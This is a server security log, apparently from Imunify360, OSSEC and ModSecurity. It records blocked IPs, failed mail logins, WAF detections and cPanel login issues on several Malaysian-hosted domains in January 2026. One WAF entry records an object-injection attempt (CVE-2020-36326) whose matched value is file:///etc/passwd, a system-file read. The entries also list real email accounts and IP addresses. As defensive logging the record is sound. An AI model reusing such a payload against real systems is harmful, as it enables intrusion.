name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.243.150
country_id: 798544
description:
Jan 19 09:57:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.243.150 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.81.77.24
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=75781523515077 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-19 10:00:05 H=([127.0.0.1]) [103.197.57.71]:58350 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.72.153.110
country_id: 290557
description:
2026-01-19 10:06:40 dovecot_plain authenticator failed for H=(losisiae) [91.72.153.110]:59376: 535 Incorrect authentication data (set_id=nurin@agsaintifik.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.72.153.110
country_id: 290557
description:
Jan 19 10:06:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.72.153.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 10:06:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64252: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.96.189.27
country_id: 298795
description:
Jan 19 10:06:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.96.189.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.96.189.27
country_id: 298795
description:
2026-01-19 10:06:37 dovecot_plain authenticator failed for H=(bobaly) [85.96.189.27]:58566: 535 Incorrect authentication data (set_id=nurin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-19 10:07:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58478: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.106.54
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=35571516586189 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.240.235
country_id: 2921044
description:
2026-01-19 10:09:48 dovecot_login authenticator failed for H=(Nacad6) [91.92.240.235]:52890: 535 Incorrect authentication data (set_id=leong)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.10.98.217
country_id: 1643084
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=28 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.235
country_id: 2921044
description:
Jan 19 10:09:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.155.204.203
country_id: 1880251
description:
2026-01-19 10:12:24 dovecot_login authenticator failed for H=(124.155.204-203.unknown.starhub.net.sg) [124.155.204.203]:57088: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.235
country_id: 2921044
description:
Jan 19 10:12:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.240.235
country_id: 2921044
description:
2026-01-19 10:12:49 dovecot_login authenticator failed for H=(rzvikVOo) [91.92.240.235]:58504: 535 Incorrect authentication data (set_id=leong)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.155.204.203
country_id: 1880251
description:
Jan 19 10:12:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.155.204.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.163.145.175
country_id: 1668284
description:
Jan 19 10:15:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.163.145.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.196.171.181
country_id: 1880251
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/3478025547.jpg&size=262*388 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.239.45.10
country_id: 1269750
description:
Jan 19 10:16:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.239.45.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.197
country_id: 1269750
description:
Jan 19 10:17:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.197 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 194.165.16.167
country_id: 2993457
description:
2026-01-19 10:17:46 336627 [Warning] Aborted connection 336627 to db: 'unconnected' user: 'unauthenticated' host: '194.165.16.167' (This connection closed normally without authentication)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.76.214
country_id: 1733045
description:
[2026-01-19 10:17:47 +0800] info [webmaild] 183.171.76.214 - payment@tujusetia.my "GET /cpsess7720145536/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.97.17.208
country_id: 1835841
description:
Jan 19 10:18:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.97.17.208 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.4.231
country_id: 2300660
description:
Jan 19 10:18:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.4.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.235
country_id: 2921044
description:
Jan 19 10:20:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.240.235
country_id: 2921044
description:
2026-01-19 10:20:17 dovecot_login authenticator failed for H=(2NtD8D) [91.92.240.235]:50775: 535 Incorrect authentication data (set_id=leong)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.87.112.144
country_id: 6252001
domain: www.aoto.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/68.0.3440.106 Safari/537.36||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.34.110.39
country_id: 1282988
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=11161516782775 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.237.197.244
country_id: 1562822
description:
Jan 19 10:24:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.237.197.244 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.237.197.244
country_id: 1562822
description:
2026-01-19 10:24:52 dovecot_plain authenticator failed for H=(dadt1htoajhwdk7wsyol18onyb503) [14.237.197.244]:56491: 535 Incorrect authentication data (set_id=rnd@plomalite.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.235
country_id: 2921044
description:
Jan 19 10:26:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.240.235
country_id: 2921044
description:
2026-01-19 10:26:30 dovecot_login authenticator failed for H=(uBBs4WfYQ) [91.92.240.235]:51908: 535 Incorrect authentication data (set_id=leong)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.235
country_id: 2921044
description:
Jan 19 10:27:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.240.235
country_id: 2921044
description:
2026-01-19 10:27:54 dovecot_login authenticator failed for H=(mH7kFXf3o) [91.92.240.235]:65040: 535 Incorrect authentication data (set_id=leong)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.56
country_id: 732800
description:
Jan 19 10:28:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.57
country_id: 953987
description:
Jan 19 10:28:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.255.183.46
country_id: 3865483
description:
Jan 19 10:29:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.255.183.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.47.158.7
country_id: 2510769
description:
Jan 19 10:29:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.47.158.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jan 19 10:30:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 10:30:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:51941: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.235
country_id: 2921044
description:
Jan 19 10:31:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.240.235
country_id: 2921044
description:
2026-01-19 10:31:30 dovecot_login authenticator failed for H=(ey3UIVk10l) [91.92.240.235]:57525: 535 Incorrect authentication data (set_id=leong)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jan 19 10:30:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 10:33:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:62185: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.134.139.7
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-34.45.134.139.7||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 10:34:07 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64328: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 10:35:52 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:62309: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.142.125.127
country_id: 6252001
description:
2026-01-19 10:35:07 337548 [Warning] Aborted connection 337548 to db: 'unconnected' user: 'unauthenticated' host: '162.142.125.127' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 10:35:58 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:62309: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 10:38:42 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:62327: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 128.201.83.12
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=685978 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 10:39:00 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:62330: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.79
country_id: 690791
description:
Jan 19 10:40:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.66.42
country_id: 3469034
description:
Jan 19 10:40:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.66.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.79
country_id: 690791
description:
Jan 19 10:41:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.126.149.149
country_id: 1880251
description:
Jan 19 10:41:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.126.149.149 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.210.65.218
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-42.91.210.65.218||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 10:43:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.241.188.145
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/OOCalcReader.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.76.214
country_id: 1733045
description:
[2026-01-19 10:44:00 +0800] info [webmaild] 183.171.76.214 - rabileh@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.217.120.52
country_id: 1269750
description:
Jan 19 10:45:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.217.120.52 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.253
country_id: 1733045
description:
[2026-01-19 10:45:46 +0800] info [webmaild] 27.125.243.253 - jlpom@ajplantations.com.my "GET /cpsess3344408109/3rdparty/roundcube/?_task=settings&login=1&post_login=83368295272255 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.243.173] != Current IP Address [27.125.243.253]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 199.115.195.131
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-46.199.115.195.131||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 19 10:47:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 10:49:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:49943: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.35
country_id: 1269750
description:
Jan 19 10:50:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.204.167
country_id: 2413451
description:
Jan 19 10:50:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.204.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.198
country_id: 1269750
description:
Jan 19 10:49:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.191.49.104
country_id: 3469034
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/filebox-sample?tag=boxfile HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.133
country_id: 1733045
description:
[2026-01-19 10:51:47 +0800] info [webmaild] 27.125.243.133 - jlpom@ajplantations.com.my "POST /cpsess3344408109/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.243.253] != Current IP Address [27.125.243.133]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.106
country_id: 690791
description:
2026-01-19 10:54:39 H=([77.83.39.106]) [77.83.39.106]:61453 F=<Fix@coscoshippingspe.nl> rejected RCPT <astbtu@astlog.com.my>: SPF: 77.83.39.106 is not allowed to send mail from coscoshippingspe.nl


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-19 11:02:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64390: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.82.207.195
country_id: 2245662
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/29advancedvaluebinder.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.152.186
country_id: 99237
description:
Jan 19 11:06:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.152.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.209.248.83
country_id: 798544
description:
Jan 19 11:06:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.209.248.83 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.152.186
country_id: 99237
description:
Jan 19 11:06:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.152.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-19 11:07:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:49979: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.242.25
country_id: 3469034
description:
Jan 19 11:07:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.242.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.242.25
country_id: 3469034
description:
Jan 19 11:08:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.242.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.130
country_id: 3469034
description:
Jan 19 11:08:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.197
country_id: 1269750
description:
Jan 19 11:09:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.100.107.238
country_id: 1831722
description:
Jan 19 11:10:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.100.107.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jan 19 11:10:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.14.192.20
country_id: 1835841
description:
Jan 19 11:10:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.14.192.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.130.22.220
country_id: 3865483
domain: www.maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.maalloys.com.my/about.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 158.220.122.128
country_id: 3017382
domain: inter-link.edu.my
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:file:///etc/passwd||MVN:MATCHED_VAR||WPU:||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.132
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/css/bootstrap.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.182
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/fontawesome/fonts/fontawesome-webfont.woff2?v=4.3.0 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.221
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/vendor/rs-plugin/css/layers.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/js/revolutionslider/css/settings.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.187
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/js/bxslider/jquery.bxslider.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.144
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/js/animations/animate.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.176
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/js/fancybox/jquery.fancybox.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.244.101.177
country_id: 3996063
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/services.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.202
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/vendor/rs-plugin/css/settings.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.169
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/js/ytplayer/css/YTPlayer.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.139.178.45
country_id: 1733045
description:
2026-01-19 11:18:54 dovecot_login authenticator failed for H=(IAmMussArchi) [175.139.178.45]:62147: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.155
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/vendor/rs-plugin/css/navigation.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.198
country_id: 1880251
domain: kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kimmark.com/assets/miuiconfont/miuiconfont.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
